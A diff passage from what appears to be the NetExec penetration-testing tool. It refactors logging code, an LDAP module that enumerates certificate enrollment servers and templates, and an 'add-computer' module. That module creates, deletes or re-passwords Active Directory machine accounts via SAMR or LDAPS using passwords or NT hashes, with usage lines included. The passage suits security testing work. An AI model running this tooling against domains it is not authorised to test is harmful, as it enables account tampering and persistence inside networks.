# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
"""
@functools.wraps(func)
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
self.log_console_to_file(formatted_text, *args, **kwargs)
return wrapper
class NXCAdapter(logging.LoggerAdapter):
@@ -19,144 +84,91 @@ class NXCAdapter(logging.LoggerAdapter):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
handlers=[
RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False,
)
],
handlers=[RichHandler(
console=nxc_console,
rich_tracebacks=True,
tracebacks_show_locals=False
)],
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
#logging.getLogger("impacket").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
"""Format msg for output
def format(self, msg, *args, **kwargs):
"""
Format msg for output if needed
This is used instead of process() since process() applies to _all_ messages, including debug calls
"""
if self.extra is None:
return f"{msg}", kwargs
if "module_name" in self.extra.keys():
if len(self.extra["module_name"]) > 8:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
# If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ("module_name" in self.extra.keys()):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
kwargs,
)
if len(self.extra) == 1 and ("module_name" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
)
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
# If the logger is being called from a protocol
if "module_name" in self.extra.keys():
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"])
else:
module_name = colored(self.extra["protocol"], "blue", attrs=["bold"])
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
return (
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
kwargs,
)
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
@no_debug
def display(self, msg, *args, **kwargs):
"""
Display text to console, formatted for nxc
"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
"""Display text to console, formatted for nxc"""
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def success(self, msg, color='green', *args, **kwargs):
"""
Print some sort of success to the user
"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
@no_debug
def success(self, msg, color="green", *args, **kwargs):
"""Prints some sort of success to the user"""
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@no_debug
def highlight(self, msg, *args, **kwargs):
"""
Prints a completely yellow highlighted message to the user
"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
"""Prints a completely yellow highlighted message to the user"""
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def fail(self, msg, color='red', *args, **kwargs):
"""
Prints a failure (may or may not be an error) - e.g. login creds didn't work
"""
try:
if "protocol" in self.extra.keys() and not called_from_cmd_args():
return
except AttributeError:
pass
@no_debug
def fail(self, msg, color="red", *args, **kwargs):
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
nxc_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
def log_console_to_file(self, text, *args, **kwargs):
"""
"""Log the console output to a file
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO:
# will be 0 if it's just the console output, so only do this if we actually have file loggers
if len(self.logger.handlers):
try:
for handler in self.logger.handlers:
handler.handle(
LogRecord(
"nxc",
20,
"",
kwargs,
msg=text,
args=args,
exc_info=None,
)
)
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
else:
self.logger.info(text)
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
@@ -164,16 +176,16 @@ class NXCAdapter(logging.LoggerAdapter):
file_creation = False
if not os.path.isfile(output_file):
open(output_file, "x")
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
with file_handler._open() as f:
if file_creation:
f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
else:
f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)
@@ -181,17 +193,16 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime('%Y-%m-%d')
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
log_filename = os.path.join(
return os.path.join(
os.path.expanduser("~/.nxc"),
"logs",
datetime.now().strftime('%Y-%m-%d'),
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
return log_filename
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
@@ -199,7 +210,7 @@ class TermEscapeCodeFormatter(logging.Formatter):
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record):
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
+14 -22
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
@@ -29,7 +27,6 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.context = context
self.regex = re.compile("(https?://.+)")
self.server = None
@@ -40,23 +37,22 @@ class NXCModule:
self.base_dn = module_options["BASE_DN"]
def on_login(self, context, connection):
"""
On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
"""
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
if self.server is None:
search_filter = "(objectClass=pKIEnrollmentService)"
else:
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
self.context.log.highlight("Using PKI CN: {}".format(self.server))
self.context.log.highlight(f"Using PKI CN: {self.server}")
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
context.log.display(f"Starting LDAP search with search filter '{search_filter}'")
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
resp = connection.ldapConnection.search(
connection.ldapConnection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -65,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
resp = connection.ldapConnection.search(
connection.ldapConnection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
@@ -74,12 +70,10 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
context.log.fail("Obtained unexpected exception: {}".format(str(e)))
context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item):
"""
Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.
"""
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
if not isinstance(item, ldapasn1.SearchResultEntry):
return
@@ -103,19 +97,17 @@ class NXCModule:
urls.append(match.group(1))
except Exception as e:
entry = host_name or "item"
self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'")
if host_name:
self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
self.context.log.highlight(f"Found PKI Enrollment Server: {host_name}")
if cn:
self.context.log.highlight("Found CN: {}".format(cn))
self.context.log.highlight(f"Found CN: {cn}")
for url in urls:
self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
self.context.log.highlight(f"Found PKI Enrollment WebService: {url}")
def process_templates(self, item):
"""
Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.
"""
"""Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server."""
if not isinstance(item, ldapasn1.SearchResultEntry):
return
@@ -134,4 +126,4 @@ class NXCModule:
if templates:
for t in templates:
self.context.log.highlight("Found Certificate Template: {}".format(t))
self.context.log.highlight(f"Found Certificate Template: {t}")
+301
View File
@@ -0,0 +1,301 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
if "DELETE" in module_options:
self.__delete = True
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
if "NAME" in module_options:
self.__computerName = module_options["NAME"]
if self.__computerName[-1] != "$":
self.__computerName += "$"
else:
context.log.error("NAME option is required!")
sys.exit(1)
if "PASSWORD" in module_options:
self.__computerPassword = module_options["PASSWORD"]
elif "PASSWORD" not in module_options and not self.__delete:
context.log.error("PASSWORD option is required!")
sys.exit(1)
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
# First try to add via SAMR over SMB
self.do_samr_add(context)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
Args:
----
context (object): The context object.
Returns:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport.setRemoteHost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.exception(e)
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired = True
user_handle = None
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if serv_handle is not None:
samr.hSamrCloseHandle(dce, serv_handle)
dce.disconnect()
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
Returns:
-------
None
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
c.bind()
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
if result:
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
else:
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
else:
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
["top", "person", "organizationalPerson", "user", "computer"],
ucd
)
if result:
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
elif not result:
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
-307
View File
@@ -1,307 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
class NXCModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
'''
name = 'add-computer'
description = 'Adds or deletes a domain computer'
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
'''
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
if 'DELETE' in module_options:
self.__delete = True
if 'CHANGEPW' in module_options and ('NAME' not in module_options or 'PASSWORD' not in module_options):
context.log.error('NAME and PASSWORD options are required!')
elif 'CHANGEPW' in module_options:
self.__noAdd = True
if 'NAME' in module_options:
self.__computerName = module_options['NAME']
if self.__computerName[-1] != '$':
self.__computerName += '$'
else:
context.log.error('NAME option is required!')
exit(1)
if 'PASSWORD' in module_options:
self.__computerPassword = module_options['PASSWORD']
elif 'PASSWORD' not in module_options and not self.__delete:
context.log.error('PASSWORD option is required!')
exit(1)
def on_login(self, context, connection):
#Set some variables
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
# First try to add via SAMR over SMB
self.doSAMRAdd(context)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.doLDAPSAdd(connection,context)
else:
exit(1)
def doSAMRAdd(self,context):
if self.__targetIp is not None:
stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
else:
stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.__port)
if self.__targetIp is not None:
rpctransport.setRemoteHost(self.__targetIp)
rpctransport.setRemoteName(self.__target)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransport.get_dce_rpc()
servHandle = None
domainHandle = None
userHandle = None
try:
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
servHandle = samrConnectResponse['ServerHandle']
samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
domains = samrEnumResponse['Buffer']['Buffer']
domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
if len(domainsWithoutBuiltin) > 1:
domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight(u'{}'.format(
'This domain does not exist: "' + self.__domainNetbios + '"'))
logging.critical("Available domain(s):")
for domain in domains:
logging.error(" * %s" % domain['Name'])
raise Exception()
else:
selectedDomain = domain[0]['Name']
else:
selectedDomain = domainsWithoutBuiltin[0]['Name']
samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
domainSID = samrLookupDomainResponse['DomainId']
if logging.getLogger().level == logging.DEBUG:
logging.info("Opening domain %s..." % selectedDomain)
samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
domainHandle = samrOpenDomainResponse['DomainHandle']
if self.__noAdd or self.__delete:
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000073:
context.log.highlight(u'{}'.format(
self.__computerName + ' not found in domain ' + selectedDomain))
self.noLDAPRequired = True
raise Exception()
else:
raise
userRID = checkForUser['RelativeIds']['Element'][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
userHandle = openUser['UserHandle']
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
context.log.highlight(u'{}'.format(
self.__username + ' does not have the right to ' + message + " " + self.__computerName))
self.noLDAPRequired = True
raise Exception()
else:
raise
else:
if self.__computerName is not None:
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight(u'{}'.format(
'Computer account already exists with the name: "' + self.__computerName + '"'))
raise Exception()
except samr.DCERPCSessionError as e:
if e.error_code != 0xc0000073:
raise
else:
foundUnused = False
while not foundUnused:
self.__computerName = self.generateComputerName()
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000073:
foundUnused = True
else:
raise
try:
createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
context.log.highlight(u'{}'.format(
'The following user does not have the right to create a computer account: "' + self.__username + '"'))
raise Exception()
elif e.error_code == 0xc00002e7:
context.log.highlight(u'{}'.format(
'The following user exceeded their machine account quota: "' + self.__username + '"'))
raise Exception()
else:
raise
userHandle = createUser['UserHandle']
if self.__delete:
samr.hSamrDeleteUser(dce, userHandle)
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired=True
userHandle = None
else:
samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
if self.__noAdd:
context.log.highlight(u'{}'.format(
'Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired=True
else:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
userRID = checkForUser['RelativeIds']['Element'][0]
openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
userHandle = openUser['UserHandle']
req = samr.SAMPR_USER_INFO_BUFFER()
req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, userHandle, req)
if not self.noLDAPRequired:
context.log.highlight(u'{}'.format(
'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
finally:
if userHandle is not None:
samr.hSamrCloseHandle(dce, userHandle)
if domainHandle is not None:
samr.hSamrCloseHandle(dce, domainHandle)
if servHandle is not None:
samr.hSamrCloseHandle(dce, servHandle)
dce.disconnect()
def doLDAPSAdd(self, connection, context):
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
'HOST/%s' % self.__computerName,
